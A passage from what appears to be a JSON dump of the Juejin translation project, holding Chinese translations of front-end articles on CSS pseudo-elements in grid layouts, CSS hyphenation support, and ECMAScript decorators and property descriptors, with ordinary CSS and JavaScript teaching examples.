结尾的选择器），再无其他选择器能够选中它。\n\n举例来说，假设我将容器设置为一个 2×3 的网格，并将每个子元素都设置成药片格子风格：\n\n```css\n.container {\n  display: grid;\n  grid-template-columns: 1fr 1fr;\n  grid-gap: 0.5rem;\n}\n\n.container > * {\n  background: darkgray;\n  border-radius: 4px;\n  padding: 0.5rem;\n}\n```\n\n不使用伪元素时，效果如下：\n\n![六个子元素两两排列，形成整齐网格](https://css-tricks.com/wp-content/uploads/2019/06/grid.png)\n\n如果我把上述伪元素选择器加上，将会得到如下效果：\n\n![六个子元素两两排列，但开头多出了一个子元素，把整体子元素向后挤开了一格](https://css-tricks.com/wp-content/uploads/2019/06/pushed-grid.png)\n\n这合情合理，但也可能会是一个坑。伪元素常常作为装饰元素出现（它们差不多也**只**应该用作装饰），因此，把它们规划到网格布局之中就会显得很怪异。\n\n注意，选择器 `.container > *` 并未选中伪元素，未能使其背景色变为 `darkgray`，因为用这把枪射不中伪元素。这是伪元素的另一个小圈套。\n\n在日常开发中，我发现伪元素的用途通常是通过绝对定位来实现某些装饰效果 —— 因此，如果你写过这样的代码：\n\n```css\n.container::before {\n  content: \"\";\n  position: absolute;\n  /* 一些装饰效果 */\n}\n```\n\n你甚至可能不会注意到你添加了一个元素。技术上来讲，伪元素归根到底是一个子元素，所以它会尽到一个子元素应尽的义务，但参与网格布局可不在其义务之内。并不是只有 CSS 网格布局如此。例如，你会发现在应用 Flex 布局时，伪元素就会成为 Flex 布局中的子项。你也可以对伪元素任意设置浮动，或其他形式的布局。\n\n在调试工具中可以很清楚地看到，伪元素在 DOM 中的表现恰如一个子元素：\n\n![在调试工具中选中一个 ::before 元素](https://css-tricks.com/wp-content/uploads/2019/06/devtools.png)\n\n还有更多的机关暗道呢！\n\n其中之一就是 `:nth-child()`。你会觉得既然伪元素是实实在在的子元素，那么它们就应该会被 [`:nth-child()`](https://css-tricks.com/almanac/selectors/n/nth-child/) 计算到，实际上并非如此。也就是说像这样的操作：\n\n```css\n.container > :nth-child(2) {\n  background: red;\n}\n```\n\n将会选中同一个元素，无论是否存在伪元素 `::before`。对 `::after` 和 `:nth-last-child` 亦是同理。这就是我在文字标题中加了“吧”的原因。如果伪元素是货真价实的子元素，那么它们理应能够干预选择器的命中。\n\n还有一个机巧之处，在 JavaScript 中，你无法像选中常规子元素那样选中伪元素。`document.querySelector(\".container::before\");` 将会返回 `null`。如果你想用 JavaScript 获取到伪元素是因为想获取其样式，你可以使用一点 [CSSOM 魔法](https://css-tricks.com/an-introduction-and-guide-to-the-css-object-model-cssom/)来实现：\n\n```javascript\nconst styles = window.getComputedStyle(\n  document.querySelector('.container'),\n  '::before'\n);\nconsole.log(styles.content); // \"x\"\nconsole.log(styles.color); // rgb(255, 0, 0)\nconsole.log(styles.getPropertyValue('color'); // rgb(255, 0, 0)\n```\n\n你是否中过伪元素的那些小圈套？\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-look-at-css-hyphenation-in-2019.md",
    "content": "> * 原文地址：[A look at CSS hyphenation in 2019](https://justmarkup.com/log/2019/01/a-look-at-css-hyphenation-in-2019/)\n> * 原文作者：[Michael Scharnagl](http://twitter.com/justmarkup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-look-at-css-hyphenation-in-2019.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-look-at-css-hyphenation-in-2019.md)\n> * 译者：[jerryOnlyZRJ](https://github.com/jerryOnlyZRJ)\n> * 校对者：[Mcskiller](https://github.com/Mcskiller)\n\n# 2019 CSS 新属性“连字符”初探\n\n我最近在制作一个使用大标题（字体大小）的网站，也有德语版本，这意味着经常存在相当长的单词，并且周围的容器腾出的空间不足以美观地展示它。如果没有做任何调整措施，就会出现水平滚动条，这将“损坏”我们的页面布局。因此，我重读了大约四年前写的 [如何处理页面中的长单词](https://justmarkup.com/log/2015/07/dealing-with-long-words-in-css/) 一文并且实现了最终的解决方案。\n\n这些解决方案似乎还能起到很好的作用，但这些方法仍然存在一些问题。让我们来看看 CSS Hyphenation（连字符样式）的浏览器支持情况，今天的我们该如何使用它以及我们希望在浏览器中看到哪些功能。\n\n## 浏览器支持情况\n\n浏览器对 [CSS 连字符样式](https://caniuse.com/#feat=css-hyphens) 支持的非常好。您应该记住，虽然它适用于 Mac 和 Android 平台上基于 Chromium 的浏览器，但它在 [Windows 和 Linux](https://bugs.chromium.org/p/chromium/issues/detail?id=652964) 上暂时不起作用（至少在2019年1月之前），并且它在 Opera Mini 和其他一些移动浏览器（Blackberry 浏览器，IE 移动设备...）中也不起作用，但整体支持是可靠的。\n\n## 使用 CSS 连字符\n\n要使用连字符，我们仍然需要为 IE 、Edge 和 Chromium 添加前缀，因此最好对每个应该使用连字符的文本使用以下内容：\n\n```\n.hyphenate {\n  -webkit-hyphens: auto;\n  -ms-hyphens: auto;\n  hyphens: auto;\n}\n```\n\n如果您可能想要在不受支持的浏览器中切分单词而不是修改布局，我建议你像下面这样做。这样，所有单词将在受支持的浏览器中连字符，并在不受支持的浏览器中分成新行。\n\n```\n.hyphenate {\n  overflow-wrap: break-word;\n  word-wrap: break-word;\n  -webkit-hyphens: auto;\n  -ms-hyphens: auto;\n  hyphens: auto;\n}\n```\n\n现在，我们今天知道如何使用CSS Hyphenation，让我们看看它还有那些缺陷。\n\n## 太多连字符\n\n我们对连字符的最大问题是它经常使用简单的连字符。这意味着以下示例，在这里它连接约瑟夫（Josef 或 Joseph）一词，但这看起来不太好，甚至它还使文本更难阅读。\n\n![Über Josef Hauser](https://justmarkup.com/log/wp-content/uploads/2019/01/josef-hauser.png)\n\n这是因为，除非 UA（客户端）能够计算出更好的值，否则预示着 `hyphens: auto` 将把原来的单词拆分成看似前后都有两个单词，这样看起来总共就好像有五个单词。这意味着连字符将用于每个单词，其长度至少为五个字符，并且它会在至少两个字符之后或之前中断。\n\n我不确定他们为什么想出这个默认值，但现在我们已经拥有了这样一个值。不过好在规范中已经定义了一个解决方案 —— [连字符字符数限制属性](https://www.w3.org/TR/css-text-4/#hyphenate-char-limits).  \n它指定了带连字符的单词中的最小字符数，因此我们可以使用它来覆盖默认值5（单词长度）2（连字符之前）2（连字符之后）。\n\n因此，理论上我们可以使用以下配置仅对10个或以上字符的单词使用连字符，并且仅在四个字符之前或之后中断：\n\n```\nhyphenate-limit-chars: 10 4 4;\n```\n\n实际上，此属性仍仅在 Internet Explorer 10+ 和 Edge 中以 -ms 前缀支持。为连字符限制字符提供更好的支持真的很棒 —— 所以请让你最喜欢的浏览器知道你想要它，谢谢！以下是 [Chromium](https://bugs.chromium.org/p/chromium/issues/detail?id=924069) and here for [Firefox](https://bugzilla.mozilla.org/show_bug.cgi?id=1521723) 的问题。\n\n特别提醒：基于 Webkit 的浏览器（Safari）支持 -webkit-hyphenate-limit-before、-webkit-hyphenate-limit-after 和 -webkit-hyphenate-limit-lines [properties](https://github.com/WebKit/webkit/blob/master/LayoutTests/fast/text/hyphenate-limit-before-after.html)，它还允许您定义最小长度和分割之前和之后的最小字符数。\n\n正如你所看到的那样，支持 CSS Hyphenation 在 2019年是非常有希望的。对我来说唯一的问题是缺乏对 hyphenate-limit-chars 属性的支持，当有足够的用户或者开发者要求时，它有望在将来变得更好。\n\n2018年1月18日更新：添加了 [Alexander Rutz](https://twitter.com/petitsanimaux/status/1089841643195383814) 和 [Jiminy Panoz](https://twitter.com/JiminyPan/status/1089841172040876032) 所述的有关 webkit 的浏览器的类似属性的信息。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-minimal-guide-to-ecmascript-decorators.md",
    "content": "> * 原文地址：[A minimal guide to ECMAScript Decorators: A short introduction to “decorators” proposal in JavaScript with basic examples and little bit about ECMAScript](https://itnext.io/a-minimal-guide-to-ecmascript-decorators-55b70338215e)\n> * 原文作者：[Uday Hiwarale](https://itnext.io/@thatisuday?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-minimal-guide-to-ecmascript-decorators.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-minimal-guide-to-ecmascript-decorators.md)\n> * 译者：[jonjia](https://github.com/jonjia)\n> * 校对者：[coconilu](https://github.com/coconilu) [ssshooter](https://github.com/ssshooter)\n\n# ECMAScript 修饰器微指南\n\n## JavaScript「修饰器」提案简介，包含一些基本示例和 ECMAScript 的一些示例\n\n![](https://cdn-images-1.medium.com/max/2000/1*CMwgpS7hFNgPqnz62gaBqA.png)\n\n为什么标题是 **ECMAScript 修饰器**，而不是 **JavaScript 修饰器**？因为，[**ECMAScript**](https://en.wikipedia.org/wiki/ECMAScript) 是编写像 **JavaScript** 这种脚本语言的标准，它不强制 JavaScript 支持所有规范内容，JavaScript 引擎（不同浏览器使用不同引擎）不一定支持 ECMAScript 引入的功能，或者支持行为不一致。\n\n可以将 ECMAScript 理解为我们说的**语言**，比如**英语**。那 JavaScript 就是一种方言，类似**英国英语**。方言本身就是一种语言，但它是基于语言衍生出来的。所以，ECMAScript 是烹饪/编写 JavaScript 的烹饪书，是否遵循其中所有成分/规则完全取决于厨师/开发者。\n\n理论上来说，JavaScript 使用者应该遵循语言规范中所有规则（**开发者或许会疯掉吧**），但实际上新版 JavaScript 引擎很晚才会实现这些规则，开发者要确保一切正常后（才会切换）。**TC39** 也就是 ECMA 国际技术委员会第 39 号 负责维护 ECMAScript 语言规范。该团队的成员大多来自于 ECMA 国际、浏览器厂商和对 Web 感兴趣的公司。\n\n由于 ECMAScript 是开放标准，任何人都可以提出新的想法或功能并对其进行处理。因此，新功能的提议将经历 4 个主要阶段，TC39 将参与此过程，直到该功能准备好发布。\n\n```\n+-------+-----------+----------------------------------------+  \n| stage | name      | mission                                |  \n+-------+-----------+----------------------------------------+  \n| 0     | strawman  | Present a new feature (proposal)       |  \n|       |           | to TC39 committee. Generally presented |  \n|       |           | by TC39 member or TC39 contributor.    |  \n+-------+-----------+----------------------------------------+  \n| 1     | proposal  | Define use cases for the proposal,     |  \n|       |           | dependencies, challenges, demos,       |  \n|       |           | polyfills etc. A champion              |  \n|       |           | (TC39 member) will be                  |  \n|       |           | responsible for this proposal.         |  \n+-------+-----------+----------------------------------------+  \n| 2     | draft     | This is the initial version of         |  \n|       |           | the feature that will be               |  \n|       |           | eventually added. Hence description    |  \n|       |           | and syntax of feature should           |  \n|       |           | be presented. A transpiler such as     |  \n|       |           | Babel should support and               |  \n|       |           | demonstrate implementation.            |  \n+-------+-----------+----------------------------------------+  \n| 3     | candidate | Proposal is almost ready and some      |  \n|       |           | changes can be made in response to     |  \n|       |           | critical issues raised by adopters     |  \n|       |           |  and TC39 committee.                   |  \n+-------+-----------+----------------------------------------+  \n| 4     | finished  | The proposal is ready to be            |  \n|       |           | included in the standard.              |  \n+-------+-----------+----------------------------------------+\n```\n\n现在（2018 年 6 月），**修饰器**提案正处于**第二阶段**，我们可以使用 `babel-plugin-transform-decorators-legacy` 这个 Babel 插件来转换它。在第二阶段，由于功能的语法会发生变化，因此不建议在生产环境中使用它。无论如何，修饰器都很优美，也有助于更快地完成任务。\n\n从现在开始，我们要开始研究实验性的 JavaScript 了，因此你的 node.js 版本可能不支持这个新特性。所以我们需要使用 Babel 或 TypeScript 转换器。可以使用我准备的 [**js-plugin-starter**](https://github.com/thatisuday/js-plugin-starter) 插件来设置项目，其中包括了这篇文章中用到的插件。\n\n* * *\n\n要理解修饰器，首先需要了解 JavaScript 对象属性的**属性描述符**。 **属性描述符**是对象属性的一组规则，例如属性是**可写**还是**可枚举**。当我们创建一个简单的对象并向其添加一些属性时，每个属性都有默认的属性描述符。\n\n```\nvar myObj = {  \n    myPropOne: 1,  \n    myPropTwo: 2  \n};\n```\n\n`myObj`是一个简单的 JavaScript 对象，在控制台中如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*Y8y_yHAuU4e5qQ98328h9A.png)\n\n现在，如果我们像下面那样将新值写入 `myPropOne` 属性，操作可以成功，我们可以获得更改后的值。\n\n```\nmyObj.myPropOne = 10;  \nconsole.log( myObj.myPropOne ); //==> 10\n```\n\n为了获取属性的属性描述符，我们需要使用 `Object.getOwnPropertyDescriptor(obj, propName)` 方法。这里 **Own** 的意思是只有 `propName` 属性是 `obj` 对象自有属性而不是在原型链上查找的属性时，才会返回 `propName` 的属性描述符。\n\n```\nlet descriptor = Object.getOwnPropertyDescriptor(  \n    myObj,  \n    'myPropOne'  \n);\n\nconsole.log( descriptor );\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*_hI_shyJTWzbDzxAZRG2cw.png)\n\n`Object.getOwnPropertyDescriptor` 方法返回一个对象，该对象包含描述属性权限和当前状态的键。 `value` 表示属性的当前值，`writable` 表示用户是否可以为属性赋值，`enumerable` 表示该属性是否会出现在 `for in` 循环或 `for of` 循环或 `Object.keys` 等遍历方法中。`configurable` 表示用户是否有权更改**属性描述符**并更改 `writable` 和 `enumerable`。属性描述符还有 `get` 和 `set` 键，它们是获取值或设置值的中间件函数，但这两个是可选的。\n\n要在对象上创建新属性或使用自定义描述符修改现有属性，我们使用 `Object.defineProperty` 方法。让我们修改 `myPropOne` 这个现有属性，`writable` 设置为 `false`，这会**禁止**向 `myObj.myPropOne` 写入值。\n\n\n```\n'use strict';\n\nvar myObj = {  \n    myPropOne: 1,  \n    myPropTwo: 2  \n};\n\n// 修改属性描述符  \nObject.defineProperty( myObj, 'myPropOne', {  \n    writable: false  \n} );\n\n// 打印属性描述符  \nlet descriptor = Object.getOwnPropertyDescriptor(  \n    myObj, 'myPropOne'  \n);  \nconsole.log( descriptor );\n\n// 设置新值  \nmyObj.myPropOne = 2;\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*OA4CAoOYemieJ9lB5wmqCg.png)\n\n从上面的报错中可以看出，`myPropOne` 属性是不可写入的。因此如果用户尝试给它赋予新值，就会抛出错误。\n\n> 如果使用 `Object.defineProperty` 来修改现有属性的描述符，那**原始描述符**会被新的修改**覆盖**。`Object.defineProperty` 方法会返回修改后的 `myObj` 对象。\n\n让我们看看如果将 `enumerable` 描述符键设置为 `false` 会发生什么。\n\n```\nvar myObj = {  \n    myPropOne: 1,  \n    myPropTwo: 2  \n};\n\n// 修改描述符  \nObject.defineProperty( myObj, 'myPropOne', {  \n    enumerable: false  \n} );\n\n// 打印描述符  \nlet descriptor = Object.getOwnPropertyDescriptor(  \n    myObj, 'myPropOne'  \n);  \nconsole.log( descriptor );\n\n// 打印遍历对象  \nconsole.log(  \n    Object.keys( myObj )  \n);\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*Aa-unAIvyxiw3kGjIz4Ewg.png)\n\n从上面的结果可以看出，我们在 `Object.keys` 枚举中看不到对象的 `myPropOne` 属性。\n\n使用 `Object.defineProperty` 在对象上定义新属性并传递空 `{}` 描述符时，默认描述符如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*e3FZCJKiLjbMVJnFbHcKIg.png)\n\n现在，让我们使用自定义描述符定义一个新属性，其中 `configurable` 键设置为 `false`。我们将 `writable` 保持为`false`、`enumerable` 为 `true`，并将 `value` 设置为 `3`。\n\n```\nvar myObj = {  \n    myPropOne: 1,  \n    myPropTwo: 2  \n};\n\n// 设置新属性描述符  \nObject.defineProperty( myObj, 'myPropThree', {  \n    value: 3,  \n    writable: false,  \n    configurable: false,  \n    enumerable: true  \n} );\n\n// 打印属性描述符\nlet descriptor = Object.getOwnPropertyDescriptor(  \n    myObj, 'myPropThree'  \n);  \nconsole.log( descriptor );\n\n// 修改属性描述符 \nObject.defineProperty( myObj, 'myPropThree', {  \n    writable: true  \n} );\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*QulK_GxuflHPaJ6X4UwqAA.png)\n\n通过将 `configurable` 设置为 `false`，我们失去了更改  `myPropThree` 属性描述符的能力。如果不希望用户操作对象的行为，这将非常有用。\n\n**get**（**getter**）和 **set**（**setter**）也可以在属性描述符中设置。但是当你定义一个 getter 时，也会带来一些牺牲。你根本不能在描述符上有**初始值**或 `value`，因为 getter 将返回该属性的值。你也不能在描述符上使用 `writable`，因为你的写操作是通过 setter 完成的，可以防止写入。看看 MDN 文档关于 [**getter**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get) 和 [**setter**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set)，或阅读[**这篇文章**](https://codeburst.io/javascript-object-property-attributes-ac012be317e2)，这里不需要太多解释。\n\n> 可以使用带有两个参数的 `Object.defineProperties` 方法一次创建/更新多个属性描述符。第一个参数是**目标对象**，在其中添加/修改属性，第二个参数是一个对象，其中 `key` 为**属性名**，`value` 是它的**属性描述符**。此函数返回**目标对象。**\n\n你是否尝试过使用 `Object.create` 方法来创建对象？这是创建没有原型或自定义原型对象最简单方法。它也是使用自定义属性描述符从头开始创建对象的更简单方法之一。\n\n`Object.create` 方法具有以下语法：\n\n```\nvar obj = Object.create( prototype, { property: descriptor, ... } )\n```\n\n这里 `prototype` 是一个对象，它将成为 `obj` 的原型。如果 `prototype` 是 `null`，那么 `obj` 将没有任何原型。使用 `var obj = {}` 语法定义空或非空对象时，默认情况下，`obj.__proto__` 指向 `Object.prototype`，因此 `obj` 具有 `Object`类的原型。\n\n这类似于用 `Object.prototype` 作为第一个参数（**正在创建对象的原型**）使用 `Object.create` 方法 。\n\n```\n'use strict';\n\nvar o = Object.create( Object.prototype, {  \n    a: { value: 1, writable: false },  \n    b: { value: 2, writable: true }  \n} );\n\nconsole.log( o.__proto__ );  \nconsole.log(   \n    'o.hasOwnProperty( \"a\" ) =>  ',   \n    o.hasOwnProperty( \"a\" )   \n);\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*Fc2_huyI1qxhEif4E9wHRw.png)\n\n但当我们把 **prototype** 参数设置为 `null` 时，会出现下面的错误：\n\n```\n'use strict';\n\nvar o = Object.create( null, {  \n    a: { value: 1, writable: false },  \n    b: { value: 2, writable: true }  \n} );\n\nconsole.log( o.__proto__ );  \nconsole.log(   \n    'o.hasOwnProperty( \"a\" ) =>  ',   \n    o.hasOwnProperty( \"a\" )   \n);\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*JOvcTkY5uzgrjlOBhz0QtQ.png)\n\n* * *\n\n#### ✱ 类方法修饰器\n\n现在我们已经了解了如何定义/配置对象的新属性/现有属性，让我们把注意力转移到修饰器以及为什么讨论属性描述符上。\n\n修饰器是一个 JavaScript 函数（**建议是纯函数**），它用于修改类属性/方法或类本身。当你在**类属性**、**方法**或**类本身**顶部添加 `@decoratorFunction` 语法后，`decoratorFunction` 方法会以一些参数**被调用**，然后**就可以使用这些参数来修改类或类属性了**。\n\n让我们创建一个简单的 `readonly `修饰器函数。但在此之前，先创建一个包含 `getFullName` 方法简单的 `User` 类，这个方法通过组合 `firstName` 和 `lastName` 返回用户的全名。\n\n```\nclass User {  \n    constructor( firstname, lastName ) {  \n        this.firstname = firstname;  \n        this.lastName = lastName;  \n    }\n\n    getFullName() {  \n        return this.firstname + ' ' + this.lastName;  \n    }  \n}\n\n// 创建实例  \nlet user = new User( 'John', 'Doe' );  \nconsole.log( user.getFullName() );\n```\n\n运行上面的代码，控制台中会打印出 `John Doe`。但这样有一个问题：任何人都可以修改 `getFullName` 方法。\n\n```\nUser.prototype.getFullName = function() {  \n    return 'HACKED!';  \n}\n```\n\n经过上面的修改，就会得到以下输出：\n\n```\nHACKED!\n```\n\n为了限制修改我们任何方法的权限，需要修改 `getFullName` 方法的属性描述符，这个属性属于 `User.prototype` 对象。\n\n```\nObject.defineProperty( User.prototype, 'getFullName', {  \n    writable: false  \n} );\n```\n\n现在，如果还有用户尝试覆盖 `getFullName` 方法，他/她就会得到下面的错误。\n\n![](https://cdn-images-1.medium.com/max/800/1*UVOaz8O1FoSa7KVpIBFMxA.png)\n\n但如果 `User` 类有很多方法，上面这种手动修改就不太好了。这就是修饰器的用武之地了。通过在 `getFullName` 方法上添加 `@readonly` 也可以实现同样功能，如下：\n\n```\nfunction readonly( target, property, descriptor ) {  \n    descriptor.writable = false;  \n    return descriptor;  \n}\n\nclass User {  \n    constructor( firstname, lastName ) {  \n        this.firstname = firstname;  \n        this.lastName = lastName;  \n    }\n\n    @readonly  \n    getFullName() {  \n        return this.firstname + ' ' + this.lastName;  \n    }  \n}\n\nUser.prototype.getFullName = function() {  \n    return 'HACKED!';  \n}\n```\n\n看一下 `readonly` 函数。它接收三个参数。`property` 是属性/方法的名字，`target` 是这些属性/方法属于的对象（**就和 `User.prototype` 一样**），`descriptor` 是这个属性的描述符。在修饰器函数中，我们必须返回 `descriptor` 对象。这个修改后的 `descriptor` 会替换该属性原来的属性描述符。\n\n修饰器写法还有另一种版本，类似 `@decoratorWrapperFunction( ...customArgs )` 这样。但这样写，`decoratorWrapperFunction` 函数应该返回一个 `decoratorFunction` 修饰器函数，它的使用和上面的例子相同。\n\n```\nfunction log( logMessage ) {\n    // 返回修饰器函数\n    return function ( target, property, descriptor ) {\n        // 保存属性原始值，它是一个方法（函数）\n        let originalMethod = descriptor.value;\n        // 修改方法实现\n        descriptor.value = function( ...args ) {\n            console.log( '[LOG]', logMessage );\n            // 这里，调用原始方法\n            // `this` 指向调用实例\n            return originalMethod.call( this, ...args );\n        };\n        return descriptor;\n    }\n}\nclass User {\n    constructor( firstname, lastName ) {\n        this.firstname = firstname;\n        this.lastName = lastName;\n    }\n    @log('calling getFullName method on User class')\n    getFullName() {\n        return this.firstname + ' ' + this.lastName;\n    }\n}\nvar user = new User( 'John', 'Doe' );\nconsole.log( user.getFullName() );\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*sUHsV_OSQUSehgfblsYvRg.png)\n\n修饰器不区分静态和非静态方法。下面的代码同样可以工作，唯一不同是你如何访问这些方法。这个结论也适用于我们下面要讨论的**类实例字段修饰器**。\n\n```\n@log('calling getVersion static method of User class')  \nstatic getVersion() {  \n    return 'v1.0.0';  \n}\n\nconsole.log( User.getVersion() );\n```\n\n* * *\n\n#### ✱ **类实例字段修饰器**\n\n目前为止，我们已经看到通过 `@decorator` 或 `@decorator(..args)` 语法来修改类方法的属性描述符，但如何修改 **公有/私有属性（类实例字段）**呢？\n\n与 `typescript` 或 `java` 不同，JavaScript 类**没有**类实例字段或者说没有类属性。这是因为任何在 `class` 里面、`constructor` 外面定义的都属于类的**原型**。但也有一个新的[**提案**](https://github.com/tc39/proposal-class-fields)，它提议使用 `public` 和 `private` 访问修饰符来启用类实例字段，目前处于[第 3 阶段](https://github.com/tc39/proposals)，也可以通过 [**babel transformer plugin**](https://babeljs.io/docs/plugins/transform-class-properties/) 这个插件来使用它。\n\n定义一个简单的 `User` 类，但这一次，不需要在构造函数中设置 `firstName` 和 `lastName` 的默认值。\n\n```\nclass User {\n    firstName = 'default_first_name';\n    lastName = 'default_last_name';\n    constructor( firstName, lastName ) {\n        if( firstName ) this.firstName = firstName;\n        if( lastName ) this.lastName = lastName;\n    }\n    getFullName() {\n        return this.firstName + ' ' + this.lastName;\n    }\n}\nvar defaultUser = new User();\nconsole.log( '[defaultUser] ==> ', defaultUser );\nconsole.log( '[defaultUser.getFullName] ==> ', defaultUser.getFullName() );\nvar user = new User( 'John', 'Doe' );\nconsole.log( '[user] ==> ', user );\nconsole.log( '[user.getFullName] ==> ', user.getFullName() );\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*44yA-f6PZURlQ-FOf4Vrww.png)\n\n现在，如果查看 `User` 类的原型，你不会看到 `firstName` 和 `lastName` 这两个属性。\n\n![](https://cdn-images-1.medium.com/max/800/1*pUvV2kP_Evs0JWbhYK-KFg.png)\n\n**类实例字段**非常有用，还是面向对象编程（**OOP**）的重要组成部分。我们提出相应的提案很好，但故事远未结束。\n\n与**类方法处于类的原型上**不同，**类实例字段处于对象/实例上**。由于类实例字段既不是类的一部分也不是它原型的一部分，因此操作它的描述符有点困难。Babel 为类实例字段的属性描述符提供了 `initializer` 方法来替代 `value`。为什么要用 `initializer` 方法来替代 `value` 呢？这个问题有些争议，因为修饰器提案还处于**第二阶段**，还没有发布最终草案来说明这个问题，但你可以通过查看 [**Stack Overflow 上这个答案**](https://stackoverflow.com/questions/31433630/does-the-es7-decorator-spec-require-descriptors-to-have-an-initializer-method) 来了解背景故事。\n\n也就是说，让我们修改之前示例并创建简单的 `@upperCase` 修饰器函数，它会改变类实例字段默认值的大小写。\n\n```\nfunction upperCase( target, name, descriptor ) {\n    let initValue = descriptor.initializer();\n    descriptor.initializer = function(){\n        return initValue.toUpperCase();\n    }\n    return descriptor;\n}\nclass User {\n    \n    @upperCase\n    firstName = 'default_first_name';\n    \n    lastName = 'default_last_name';\n    constructor( firstName, lastName ) {\n        if( firstName ) this.firstName = firstName;\n        if( lastName ) this.lastName = lastName;\n    }\n    getFullName() {\n        return this.firstName + ' ' + this.lastName;\n    }\n}\nconsole.log( new User() );\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*5_SX5itRYtBIojyjY7-wHQ.png)\n\n我们也可以使用**带参数的修饰器函数**，让它更有定制性。\n\n```\nfunction toCase( CASE = 'lower' ) {\n    return function ( target, name, descriptor ) {\n        let initValue = descriptor.initializer();\n    \n        descriptor.initializer = function(){\n            return ( CASE == 'lower' ) ? \n            initValue.toLowerCase() : initValue.toUpperCase();\n        }\n    \n        return descriptor;\n    }\n}\nclass User {\n    @toCase( 'upper' )\n    firstName = 'default_first_name';\n    lastName = 'default_last_name';\n    constructor( firstName, lastName ) {\n        if( firstName ) this.firstName = firstName;\n        if( lastName ) this.lastName = lastName;\n    }\n    getFullName() {\n        return this.firstName + ' ' + this.lastName;\n    }\n}\nconsole.log( new User() );\n```\n\n`descriptor.initializer` 方法由 **Babel** 内部实现对象属性描述符的 `value` 的创建。它会返回分配给类实例字段的初始值。在修饰器函数内部，我们需要返回另一个 `initializer` 方法，它会返回最终值。\n\n> 类实例字段提案具有高度实验性，在到达**第 4 阶段**前，它的语法很有可能会改变。因此，将类实例字段与修饰器一起使用还不是一个好习惯。\n\n* * *\n\n#### ✱ 类修饰器\n\n现在我们已经熟悉了修饰器能做什么。它可以改变属性、类方法行为和类实例字段，使我们能灵活地通过简单的语法来实现这些。\n\n**类修饰器**和我们之前看到的修饰器有些不同。之前，我们使用**属性修饰器**来修改属性或方法的实现，但类修饰器函数中，我们需要返回一个构造函数。\n\n我们先来理解下什么是构造函数。在下面，一个 JavaScript 类只不过是一个函数，这个函数添加了**原型方法**、定义了一些初始值。\n\n```\nfunction User( firstName, lastName ) {\n    this.firstName = firstName;\n    this.lastName = lastName;\n}\nUser.prototype.getFullName = function() {\n    return this.firstName + ' ' + this.lastName;\n}\nlet user = new User( 'John', 'Doe' );\nconsole.log( user );\nconsole.log( user.__proto__ );\nconsole.log( user.getFullName() );\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*8upRjd8kwXbOntVmrjvOqg.png)\n\n> [这篇文章](https://blog.bitsrc.io/what-is-this-in-javascript-3b03480514a7) 对理解 JavaScript 中的 `this` 很有帮助。\n\n因此，当我们调用 `new User` 时，就会使用传递的参数调用 `User` 这个函数，返回结果是一个对象。所以，`User` 就是一个构造函数。顺便说一句，JavaScript 中每个函数都是一个构造函数，因为如果你查看 `function.prototype`，你会发现 `constructor` 属性。只要我们使用 `new` 关键字调用函数，都会得到一个对象。\n\n>如果从构造函数返回一个有效的 JavaScript 对象，那么就会使用这个对象，而不用 `this` 